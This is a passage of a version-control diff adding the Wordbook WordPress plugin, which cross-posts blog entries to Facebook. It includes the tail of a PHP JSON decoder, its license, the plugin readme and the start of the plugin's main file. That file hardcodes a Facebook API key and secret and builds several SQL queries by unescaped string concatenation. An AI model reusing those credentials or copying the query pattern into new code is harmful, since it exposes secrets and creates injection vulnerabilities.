+                                // we are in an object, so figure
+                                // out the property name and set an
+                                // element in an associative array,
+                                // for now
+                                $parts = array();
+                                
+                                if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // "name":value pair
+                                    $key = $this->decode($parts[1]);
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // name:value pair, where name is unquoted
+                                    $key = $parts[1];
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                }
+
+                            }
+
+                        } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
+                            // found a quote, and we are not inside a string
+                            array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}));
+                            //print("Found start of string at {$c}\n");
+
+                        } elseif (($chrs{$c} == $top['delim']) &&
+                                 ($top['what'] == SERVICES_JSON_IN_STR) &&
+                                 ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) {
+                            // found a quote, we're in a string, and it's not escaped
+                            // we know that it's not escaped becase there is _not_ an
+                            // odd number of backslashes at the end of the string so far
+                            array_pop($stk);
+                            //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '[') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-bracket, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
+                            //print("Found start of array at {$c}\n");
+
+                        } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
+                            // found a right-bracket, and we're in an array
+                            array_pop($stk);
+                            //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '{') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-brace, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
+                            //print("Found start of object at {$c}\n");
+
+                        } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
+                            // found a right-brace, and we're in an object
+                            array_pop($stk);
+                            //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($substr_chrs_c_2 == '/*') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a comment start, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
+                            $c++;
+                            //print("Found start of comment at {$c}\n");
+
+                        } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
+                            // found a comment end, and we're in one now
+                            array_pop($stk);
+                            $c++;
+
+                            for ($i = $top['where']; $i <= $c; ++$i)
+                                $chrs = substr_replace($chrs, ' ', $i, 1);
+
+                            //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        }
+
+                    }
+
+                    if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                        return $arr;
+
+                    } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                        return $obj;
+
+                    }
+
+                }
+        }
+    }
+
+    /**
+     * @todo Ultimately, this should just call PEAR::isError()
+     */
+    function isError($data, $code = null)
+    {
+        if (class_exists('pear')) {
+            return PEAR::isError($data, $code);
+        } elseif (is_object($data) && (get_class($data) == 'services_json_error' ||
+                                 is_subclass_of($data, 'services_json_error'))) {
+            return true;
+        }
+
+        return false;
+    }
+}
+
+if (class_exists('PEAR_Error')) {
+
+    class Services_JSON_Error extends PEAR_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+            parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
+        }
+    }
+
+} else {
+
+    /**
+     * @todo Ultimately, this class shall be descended from PEAR_Error
+     */
+    class Services_JSON_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+
+        }
+    }
+
+}
+    
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/JSON/LICENSE
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/JSON/LICENSE	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/JSON/LICENSE	(revision 44)
@@ -0,0 +1,21 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+Redistributions of source code must retain the above copyright notice,
+this list of conditions and the following disclaimer.
+
+Redistributions in binary form must reproduce the above copyright
+notice, this list of conditions and the following disclaimer in the
+documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
+USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/jsonwrapper.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/jsonwrapper.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/jsonwrapper.php	(revision 44)
@@ -0,0 +1,6 @@
+<?php
+# In PHP 5.2 or higher we don't need to bring this in
+if (!function_exists('json_encode')) {
+	require_once 'jsonwrapper_inner.php';
+} 
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/jsonwrapper_inner.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/jsonwrapper_inner.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/jsonwrapper/jsonwrapper_inner.php	(revision 44)
@@ -0,0 +1,23 @@
+<?php
+
+require_once 'JSON/JSON.php';
+
+function json_encode($arg)
+{
+	global $services_json;
+	if (!isset($services_json)) {
+		$services_json = new Services_JSON();
+	}
+	return $services_json->encode($arg);
+}
+
+function json_decode($arg)
+{
+	global $services_json;
+	if (!isset($services_json)) {
+		$services_json = new Services_JSON();
+	}
+	return $services_json->decode($arg);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/readme.txt	(revision 44)
@@ -0,0 +1,134 @@
+=== Wordbook ===
+
+Contributors: rtsai
+Tags: facebook, minifeed, newsfeed, crosspost
+Requires at least: 2.2
+Tested up to: 2.8
+Stable tag: trunk
+
+This plugin allows you to cross-post your blog posts to your Facebook Wall. Your Facebook "Boxes" tab will show your most recent blog posts.
+
+== Description ==
+
+This plugin allows you to cross-post your blog posts to your Facebook Wall. Your Facebook "Boxes" tab will show your most recent blog posts.
+
+== Installation ==
+
+1. [Download](http://wordpress.org/extend/plugins/wordbook/) the ZIP file.
+1. Unzip the ZIP file.
+1. Upload the `wordbook` directory to the `/wp-content/plugins/` directory.
+1. Activate the plugin through the 'Plugins' menu in WordPress.
+1. Navigate to `Options` &rarr; `Wordbook` for configuration and follow the on-screen prompts.
+
+== Frequently Asked Questions ==
+
+= Isn't Wordbook the same as importing my blog posts into Facebook Notes? =
+
+It is certainly similar, but not the same:
+
+- Facebook Notes imports and caches your blog posts (e.g., it subscribes to your blog's RSS feed).
+
+  Wordbook uses the Facebook API to actively update your Facebook Wall just as if you had posted an update yourself on facebook.com. This means that your updates are likely to appear faster than waiting around for the Facebook Notes RSS reader to notice your update. It also means that you can make changes to your blog postings *after* initially publishing them.
+
+- With Wordbook, your blog postings will have their own space in your Facebook profile, instead of having to compete for space with your other posted Facebook Notes.
+
+- Your updates will show up with a nifty WordPress logo next to them instead of the normal "Notes" icon :).
+
+- Your Facebook Notes' comments will not show up on your WordPress blog. Wordbook links everything back to your blog, so your comments will also stay on your blog (it does mean your readers will have to leave Facebook).
+
+= How is this different from the WordPress application? =
+
+The [WordPress application](http://www.facebook.com/apps/application.php?id=2373049596) allows you to post to your [wordpress.com](http://www.wordpress.com/) blog directly from within Facebook. You cannot use the Facebook app with a self-hosted WordPress blog.
+
+This Wordbook plugin works in the reverse direction. When you publish a new post or page, the plugin, in conjunction with the [Wordbook](http://www.facebook.com/apps/application.php?id=3353257731) Facebook application, cross-posts your new blog entry to your Facebook account. You cannot use Wordbook with a blog hosted at wordpress.com.
+
+= Why aren't my blog posts showing up in Facebook? =
+
+- Wordbook will not publish password-protected posts.
+
+- Any errors Wordbook encounters while communicating with Facebook will be recorded in error logs; the error logs (if any) are viewable in the "Wordbook" panel of the "Options" WordPress admin page.
+
+To discourage spammy behavior, Facebook restricts each user of any application to 10 posts within any rolling 48-hour window of time ([see reference](http://developers.facebook.com/documentation.php?v=1.0&method=feed.publishTemplatizedAction)). If you've been playing around with Wordbook and posting lots of test posts, you have likely hit this limit; it will appear in the error logs as `error_code 4: "Application request limit reached"`. There is nothing to do but wait it out.
+
+- Facebook sometimes incorrectly returns this result to application requests (other developers have also reported this problem with their Facebook apps; it's not just Wordbook); there is also nothing the Wordbook plugin can do about this.
+
+= My WordPress database doesn't use the default 'wp_' table prefix. Will this plugin still work? =
+
+The plugin is aware of database table prefixes. Specifically, things should work correctly for a single WordPress install supporting multiple blogs in a single database.
+
+= How do I reset my Wordbook/WordPress configuration so I can start over from scratch? =
+
+1. Click the "Reset configuration" button in the "Wordbook" panel of the "Options" WordPress admin page.
+1. Deactivate the Wordbook plugin from your WordPress installation.
+1. [Uninstall Wordbook](http://www.facebook.com/apps/application.php?id=3353257731) from your Facebook account.
+1. Download the [latest version](http://wordpress.org/extend/plugins/wordbook/)
+1. Re-install and re-activate the plugin.
+
+= How do I report problems or submit feature requests? =
+
+Use the [Wordbook Discussion Board](http://www.facebook.com/board.php?uid=3353257731). Either start a new topic, or add to an existing topic.
+
+Do *not* use the Review Wall for support or feature requests. People are unable to respond to Review Wall posts; you are less likely to get a response.
+
+Alternatively, leave a comment on [my blog](http://www.tsaiberspace.net/blog/2007/07/29/wordbook/).
+
+== Features ==
+
+- Works with a complementary [Facebook application](http://www.facebook.com/apps/application.php?id=3353257731) to update your Facebook Wall and friends' News Feeds about your blog and page postings.
+- A miniature version of your recent blog posts will be displayed in the "Boxes" tab of your Facebook profile.
+- Supports multi-author blogs: each blog author notifies only their own friends of their blog/page posts.
+
+== Bugs that will be fixed ==
+
+1. Internationalization/Localization
+
+   I would like for Wordbook to work everywhere, but I lack expertise in this sort of thing and welcome any pointers and/or patches.
+
+== Feature requests under consideration (as time permits) ==
+
+1. How can I customize the way Wordbook appears in my profile?
+
+   For the immediately-forseeable future, Wordbook will not be that configurable. The only immediately-available configuration is the number of posts showing up in the mini-blog. This number is the same as the number of posts that show up on the front page of your blog; navigate to your Dashboard Options &rarr; Reading and configure the "Blog Pages: Show at most" option.
+
+1. Wordbook sends *all* my posts to Facebook. Can I do this selectively?
+
+   At this time, no. You will have to log in to Facebook immediately after posting and manually remove the item from your Wall.
+   
+   Someday I'll add a "Post to Facebook" checkbox next to the WordPress "Publish" button or something.
+
+1. I have multiple blogs; I'd like for all of them to update the same Facebook account.
+
+   This is possible, but does not work at this time. This features requires a UI to allow Facebook session keys (currently not displayed anywhere in the UI) to be cut-and-pasted between multiple blogs.
+
+1. I use WordPress excerpts for my RSS feeds; Wordbook doesn't use this for the profile box.
+
+   This is a Wordbook bug; it doesn't know about excerpts yet.
+
+== Feature requests not under consideration ==
+
+1. My blog has multiple authors. Can they all post to the same Facebook account using their own name?
+
+   The name shown as the source of a News Feed update is determined solely by the Facebook account connected to Wordbook, and has nothing to do with the WordPress blog author. Using multi-author support, each blog author can post to their own Facebook account (using their own respective Facebook names), or they can all post to the same Facebook account using the same Facebook name.
+
+   This is a Facebook restriction ([see reference](http://developers.facebook.com/documentation.php?v=1.0&method=feed.publishActionOfUser)). All News Feed updates *must* include the first name of the Facebook account owner. If the Facebook app doesn't supply it, Facebook will automatically add it. There is no way for Wordbook to make a News Feed update appear to come from some other account.
+
+1. Will this work with Facebook Pages?
+
+   No. Facebook Pages look similar to user account profile pages, but the Facebook API treats the two very differently, and it is currently not possible to show the blog on a Facebook Page as is done for profile pages.
+
+1. My WordPress is 1.x/2.0/2.1. The plugin doesn't work!
+
+   This plugin is written for and tested on WordPress-2.3. I cannot test on older WordPress releases. I will happily accept any patches, if you are able to write a patch to get things to work. Otherwise, you really should consider upgrading your WordPress installation.
+
+1. Can this work with PHP-4.x or MySQL-4.x?
+
+   It is true that the [WordPress minimum requirements](http://wordpress.org/about/requirements/) are PHP-4.3 or greater and MySQL-4.0 or greater.
+
+   There are two obstacles to Wordbook getting PHP4 support again: (a) My development environment is PHP5 and MySQL-5.0, and (b) Facebook has stopped releasing an "official" client library for PHP4.
+
+   I cannot actively maintain PHP4 support, but will happily accept patches.
+
+== Screenshots ==
+
+1. WordPress updating a Facebook profile's Wall.
+1. Summary of WordPress blog posts in a Facebook profile.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/wordbook.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/wordbook.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/wordbook.php	(revision 44)
@@ -0,0 +1,1396 @@
+<?php
+/*
+Plugin Name: Wordbook
+Plugin URI: http://www.tsaiberspace.net/projects/wordpress/wordbook/
+Description: Cross-post your blog updates to your Facebook account. Navigate to <a href="admin.php?page=wordbook">Settings &rarr; Wordbook</a> for configuration.
+Author: Robert Tsai
+Author URI: http://www.tsaiberspace.net/
+Version: 0.14.7
+*/
+
+/*
+ * Copyright 2009 Robert Tsai (email : wordpress@tsaiberspace.net)
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the Free
+ * Software Foundation; either version 2 of the License, or (at your option)
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 51
+ * Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+global $table_prefix, $wp_version;
+require_once(ABSPATH . WPINC . '/pluggable.php');
+
+define('WORDBOOK_DEBUG', false);
+define('WORDBOOK_TESTING', false);
+
+$facebook_config['debug'] = WORDBOOK_TESTING && !$_POST['action'];
+
+define('WORDBOOK_FB_APIKEY', '21e0776b27318e5867ec665a5b18a850');
+define('WORDBOOK_FB_SECRET', 'f342d13c5094bef736842e4832420e8f');
+define('WORDBOOK_TEMPLATE_ID', 53818207731);
+define('WORDBOOK_FB_APIVERSION', '1.0');
+define('WORDBOOK_FB_DOCPREFIX',
+	'http://wiki.developers.facebook.com/documentation.php?v='
+	. WORDBOOK_FB_APIVERSION . '&method=');
+define('WORDBOOK_FB_MAXACTIONLEN', 60);
+define('WORDBOOK_FB_PUBLISH_STREAM', 'publish_stream');
+
+define('WORDBOOK_OPTIONS', 'wordbook_options');
+define('WORDBOOK_OPTION_SCHEMAVERS', 'schemavers');
+
+define('WORDBOOK_ERRORLOGS', $table_prefix . 'wordbook_errorlogs');
+define('WORDBOOK_POSTLOGS', $table_prefix . 'wordbook_postlogs');
+define('WORDBOOK_USERDATA', $table_prefix . 'wordbook_userdata');
+
+define('WORDBOOK_EXCERPT_SHORTSTORY', 256);
+define('WORDBOOK_EXCERPT_WIDEBOX', 96);
+define('WORDBOOK_EXCERPT_NARROWBOX', 40);
+
+define('WORDBOOK_MINIMUM_ADMIN_LEVEL', 2);	/* Author role or above. */
+define('WORDBOOK_OPTIONS_PAGENAME', 'wordbook');
+define('WORDBOOK_OPTIONS_URL', 'admin.php?page=' . WORDBOOK_OPTIONS_PAGENAME);
+
+define('WORDBOOK_SCHEMA_VERSION', 5);
+
+$wordbook_wp_version_tuple = explode('.', $wp_version);
+define('WORDBOOK_WP_VERSION', $wordbook_wp_version_tuple[0] * 10 +
+	$wordbook_wp_version_tuple[1]);
+
+if (function_exists('json_encode')) {
+	define('WORDBOOK_JSON_ENCODE', 'PHP');
+} else {
+	define('WORDBOOK_JSON_ENCODE', 'Wordbook');
+}
+
+if (function_exists('simplexml_load_string')) {
+	define('WORDBOOK_SIMPLEXML', 'PHP');
+} else {
+	define('WORDBOOK_SIMPLEXML', 'Facebook');
+}
+
+if (substr(phpversion(), 0, 2) == '5.') {
+	define('FACEBOOK_PHP_API', 'PHP5');
+} else {
+	define('FACEBOOK_PHP_API', 'PHP4');
+}
+
+function wordbook_debug($message) {
+	if (WORDBOOK_DEBUG) {
+		$fp = fopen('/tmp/wb.log', 'a');
+		$date = date('D M j, g:i:s a');
+		fwrite($fp, "$date: $message");
+		fclose($fp);
+	}
+}
+
+function wordbook_load_apis() {
+	if (defined('WORDBOOK_APIS_LOADED')) {
+		return;
+	}
+	if (WORDBOOK_JSON_ENCODE == 'Wordbook') {
+		function json_encode($var) {
+			if (is_array($var)) {
+				$encoded = '{';
+				$first = true;
+				foreach ($var as $key => $value) {
+					if (!$first) {
+						$encoded .= ',';
+					} else {
+						$first = false;
+					}
+					$encoded .= "\"$key\":"
+						. json_encode($value);
+				}
+				$encoded .= '}';
+				return $encoded;
+			}
+			if (is_string($var)) {
+				return "\"$var\"";
+			}
+			return $var;
+		}
+	}
+	if (FACEBOOK_PHP_API == 'PHP5') {
+		if (!class_exists('Facebook')) {
+			/* Defend against other plugins. */
+			require_once('facebook-platform/php/facebook.php');
+		}
+		require_once('wordbook_php5.php');
+	}
+	define('WORDBOOK_APIS_LOADED', true);
+}
+
+/******************************************************************************
+ * Wordbook options.
+ */
+
+function wordbook_options() {
+	return get_option(WORDBOOK_OPTIONS);
+}
+
+function wordbook_set_options($options) {
+	update_option(WORDBOOK_OPTIONS, $options);
+}
+
+function wordbook_get_option($key) {
+	$options = wordbook_options();
+	return isset($options[$key]) ? $options[$key] : null;
+}
+
+function wordbook_set_option($key, $value) {
+	$options = wordbook_options();
+	$options[$key] = $value;
+	wordbook_set_options($options);
+}
+
+function wordbook_delete_option($key) {
+	$options = wordbook_options();
+	unset($options[$key]);
+	update_option(WORDBOOK_OPTIONS, $options);
+}
+
+/******************************************************************************
+ * Plugin deactivation - tidy up database.
+ */
+
+function wordbook_deactivate() {
+	global $wpdb;
+
+	wp_cache_flush();
+	$errors = array();
+	foreach (array(
+			WORDBOOK_ERRORLOGS,
+			WORDBOOK_POSTLOGS,
+			WORDBOOK_USERDATA,
+			) as $tablename) {
+		$result = $wpdb->query("
+			DROP TABLE IF EXISTS $tablename
+			");
+		if ($result === false)
+			$errors[] = "Failed to drop $tablename";
+	}
+	delete_option(WORDBOOK_OPTIONS);
+	wp_cache_flush();
+
+	if ($errors) {
+		echo '<div id="message" class="updated fade">' . "\n";
+		foreach ($errors as $errormsg) {
+			_e("$errormsg<br />\n");
+		}
+		echo "</div>\n";
+	}
+}
+
+/******************************************************************************
+ * DB schema.
+ */
+
+function wordbook_upgrade() {
+	global $wpdb, $table_prefix;
+
+	$options = wordbook_options();
+
+	if ($options && isset($options[WORDBOOK_OPTION_SCHEMAVERS]) &&
+			$options[WORDBOOK_OPTION_SCHEMAVERS] ==
+			WORDBOOK_SCHEMA_VERSION) {
+		return;
+	}
+
+	wp_cache_flush();
+	if (!$options || !isset($options[WORDBOOK_OPTION_SCHEMAVERS]) ||
+			$options[WORDBOOK_OPTION_SCHEMAVERS] < 5) {
+		$errors = array();
+
+		foreach (array(
+				WORDBOOK_ERRORLOGS,
+				WORDBOOK_POSTLOGS,
+				WORDBOOK_USERDATA,
+				$table_prefix . 'wordbook_onetimecode',
+				) as $tablename) {
+			$result = $wpdb->query("
+				DROP TABLE IF EXISTS $tablename
+				");
+			if ($result === false)
+				$errors[] = "Failed to drop $tablename";
+		}
+
+		$result = $wpdb->query('
+			CREATE TABLE ' . WORDBOOK_POSTLOGS . ' (
+				`postid` BIGINT(20) NOT NULL
+				, `timestamp` TIMESTAMP
+			)
+			');
+		if ($result === false)
+			$errors[] = 'Failed to create ' . WORDBOOK_POSTLOGS;
+
+		$result = $wpdb->query('
+			CREATE TABLE ' . WORDBOOK_ERRORLOGS . ' (
+				`timestamp` TIMESTAMP
+				, `user_ID` BIGINT(20) UNSIGNED NOT NULL
+				, `method` VARCHAR(255) NOT NULL
+				, `error_code` INT NOT NULL
+				, `error_msg` VARCHAR(80) NOT NULL
+				, `postid` BIGINT(20) NOT NULL
+			)
+			');
+		if ($result === false)
+			$errors[] = 'Failed to create ' . WORDBOOK_ERRORLOGS;
+
+		$result = $wpdb->query('
+			CREATE TABLE ' . WORDBOOK_USERDATA . ' (
+				`user_ID` BIGINT(20) UNSIGNED NOT NULL
+				, `use_facebook` TINYINT(1) NOT NULL DEFAULT 1
+				, `onetime_data` LONGTEXT NOT NULL
+				, `facebook_error` LONGTEXT NOT NULL
+				, `secret` VARCHAR(80) NOT NULL
+				, `session_key` VARCHAR(80) NOT NULL
+			)
+			');
+		if ($result === false)
+			$errors[] = 'Failed to create ' . WORDBOOK_USERDATA;
+
+		if ($errors) {
+			echo '<div id="message" class="updated fade">' . "\n";
+			foreach ($errors as $errormsg) {
+				_e("$errormsg<br />\n");
+			}
+			echo "</div>\n";
+			return;
+		}
+
+		$options = array(
+			WORDBOOK_OPTION_SCHEMAVERS => 5,
+			);
+	}
+
+	wordbook_set_options($options);
+	wp_cache_flush();
+}
+
+function wordbook_delete_user($user_id) {
+	global $wpdb;
+	$errors = array();
+	foreach (array(
+			WORDBOOK_USERDATA,
+			WORDBOOK_ERRORLOGS,
+			) as $tablename) {
+		$result = $wpdb->query('
+			DELETE FROM ' . $tablename . '
+			WHERE user_ID = ' . $user_id . '
+			');
+		if ($result === false)
+			$errors[] = "Failed to remove user $user_id from $tablename";
+	}
+	if ($errors) {
+		echo '<div id="message" class="updated fade">' . "\n";
+		foreach ($errors as $errormsg) {
+			_e("$errormsg<br />\n");
+		}
+		echo "</div>\n";
+	}
+}
+
+/******************************************************************************
+ * Wordbook user data.
+ */
+
+function wordbook_get_userdata($user_id) {
+	global $wpdb;
+
+	$rows = $wpdb->get_results('
+		SELECT *
+		FROM ' . WORDBOOK_USERDATA . '
+		WHERE user_ID = ' . $user_id . '
+		');
+	if ($rows) {
+		$rows[0]->onetime_data = unserialize($rows[0]->onetime_data);
+		$rows[0]->facebook_error =
+			unserialize($rows[0]->facebook_error);
+		$rows[0]->secret = unserialize($rows[0]->secret);
+		$rows[0]->session_key = unserialize($rows[0]->session_key);
+		return $rows[0];
+	}
+	return null;
+}
+
+function wordbook_set_userdata($use_facebook, $onetime_data, $facebook_error,
+		$secret, $session_key) {
+	global $user_ID, $wpdb;
+	wordbook_delete_userdata();
+	$result = $wpdb->query("
+		INSERT INTO " . WORDBOOK_USERDATA . " (
+			user_ID
+			, use_facebook
+			, onetime_data
+			, facebook_error
+			, secret
+			, session_key
+		) VALUES (
+			" . $user_ID . "
+			, " . ($use_facebook ? 1 : 0) . "
+			, '" . serialize($onetime_data) . "'
+			, '" . serialize($facebook_error) . "'
+			, '" . serialize($secret) . "'
+			, '" . serialize($session_key) . "'
+		)
+		");
+}
+
+function wordbook_update_userdata($wbuser) {
+	return wordbook_set_userdata($wbuser->use_facebook,
+		$wbuser->onetime_data, $wbuser->facebook_error, $wbuser->secret,
+		$wbuser->session_key);
+}
+
+function wordbook_set_userdata_facebook_error($wbuser, $method, $error_code,
+		$error_msg, $postid) {
+	$wbuser->facebook_error = array(
+		'method' => $method,
+		'error_code' => $error_code,
+		'error_msg' => $error_msg,
+		'postid' => $postid,
+		);
+	wordbook_update_userdata($wbuser);
+	wordbook_appendto_errorlogs($method, $error_code, $error_msg, $postid);
+}
+
+function wordbook_clear_userdata_facebook_error($wbuser) {
+	$wbuser->facebook_error = null;
+	return wordbook_update_userdata($wbuser);
+}
+
+function wordbook_delete_userdata() {
+	global $user_ID;
+	wordbook_delete_user($user_ID);
+}
+
+/******************************************************************************
+ * Post logs - record time of last post to Facebook
+ */
+
+function wordbook_trim_postlogs() {
+	/* Forget that something has been posted to Facebook if it's been
+	 * longer than some delta of time. */
+	global $wpdb;
+	$result = $wpdb->query('
+		DELETE FROM ' . WORDBOOK_POSTLOGS . '
+		WHERE timestamp < DATE_SUB(CURDATE(), INTERVAL 1 DAY)
+		');
+}
+
+function wordbook_postlogged($postid) {
+	global $wpdb;
+	$rows = $wpdb->get_results('
+		SELECT *
+		FROM ' . WORDBOOK_POSTLOGS . '
+		WHERE postid = ' . $postid . '
+			AND timestamp > DATE_SUB(CURDATE(), INTERVAL 1 DAY)
+		');
+	return $rows ? true : false;
+}
+
+function wordbook_insertinto_postlogs($postid) {
+	global $wpdb;
+	wordbook_deletefrom_postlogs($postid);
+	if (!WORDBOOK_TESTING) {
+		$result = $wpdb->query('
+			INSERT INTO ' . WORDBOOK_POSTLOGS . ' (
+				postid
+			) VALUES (
+				' . $postid . '
+			)
+			');
+	}
+}
+
+function wordbook_deletefrom_postlogs($postid) {
+	global $wpdb;
+	$result = $wpdb->query('
+		DELETE FROM ' . WORDBOOK_POSTLOGS . '
+		WHERE postid = ' . $postid . '
+		');
+}
+
+/******************************************************************************
+ * Error logs - record errors
+ */
+
+function wordbook_hyperlinked_method($method) {
+	return '<a href="'
+		. WORDBOOK_FB_DOCPREFIX . $method . '"'
+		. ' title="Facebook API documentation" target="facebook"'
+		. '>'
+		. $method
+		. '</a>';
+}
+
+function wordbook_trim_errorlogs() {
+	global $wpdb;
+	$result = $wpdb->query('
+		DELETE FROM ' . WORDBOOK_ERRORLOGS . '
+		WHERE timestamp < DATE_SUB(CURDATE(), INTERVAL 7 DAY)
+		');
+}
+
+function wordbook_clear_errorlogs() {
+	global $user_ID, $wpdb;
+	$result = $wpdb->query('
+		DELETE FROM ' . WORDBOOK_ERRORLOGS . '
+		WHERE user_ID = ' . $user_ID . '
+		');
+	if ($result === false) {
+		echo '<div id="message" class="updated fade">';
+		_e('Failed to clear error logs.');
+		echo "</div>\n";
+	}
+}
+
+function wordbook_appendto_errorlogs($method, $error_code, $error_msg,
+		$postid) {
+	global $user_ID, $wpdb;
+	if ($postid == null) {
+		$postid = 0;
+		$user_id = $user_ID;
+	} else {
+		$post = get_post($postid);
+		$user_id = $post->post_author;
+	}
+	$result = $wpdb->query('
+		INSERT INTO ' . WORDBOOK_ERRORLOGS . ' (
+			user_ID
+			, method
+			, error_code
+			, error_msg
+			, postid
+		) VALUES (
+			' . $user_id . '
+			, "' . $method . '"
+			, ' . $error_code . '
+			, "' . $error_msg . '"
+			, ' . $postid . '
+		)
+		');
+}
+
+function wordbook_deletefrom_errorlogs($postid) {
+	global $wpdb;
+	$result = $wpdb->query('
+		DELETE FROM ' . WORDBOOK_ERRORLOGS . '
+		WHERE postid = ' . $postid . '
+		');
+}
+
+function wordbook_render_errorlogs() {
+	global $user_ID, $wpdb;
+
+	$rows = $wpdb->get_results('
+		SELECT *
+		FROM ' . WORDBOOK_ERRORLOGS . '
+		WHERE user_ID = ' . $user_ID . '
+		ORDER BY timestamp
+		');
+	if ($rows) {
+?>
+
+	<h3><?php _e('Errors'); ?></h3>
+	<div class="wordbook_errors">
+
+	<p>
+	Your blog is OK, but Wordbook was unable to update your Mini-Feed:
+	</p>
+
+	<table class="wordbook_errorlogs">
+		<tr>
+			<th>Timestamp</th>
+			<th>Post</th>
+			<th>Method</th>
+			<th>Error Code</th>
+			<th>Error Message</th>
+		</tr>
+
+<?php
+		foreach ($rows as $row) {
+			$hyperlinked_post = '';
+			if (($post = get_post($row->postid))) {
+				$hyperlinked_post = '<a href="'
+					. get_permalink($row->postid) . '">'
